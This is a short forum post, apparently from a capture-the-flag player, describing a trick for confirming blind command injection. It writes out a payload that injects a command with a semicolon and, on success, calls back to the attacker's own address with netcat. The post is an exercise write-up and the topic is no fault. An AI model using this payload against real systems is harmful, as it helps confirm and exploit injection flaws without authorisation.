Had a target last week (CTF box) where I knew I had command injection, but no stdout at all.
Instead of going for a full shell, I tried something super simple:

; echo teststring | grep teststring && nc <my_ip> <port>

The idea:

• If the payload runs, grep finds my marker string.

• That success triggers a quick nc back to me.

• No need for output on the page just a “yep, it worked” ping.

Honestly didn’t expect it to be that effective, but it gave me confirmation in seconds.
Anyone else have low-effort, no-shell-needed tricks for blind injections?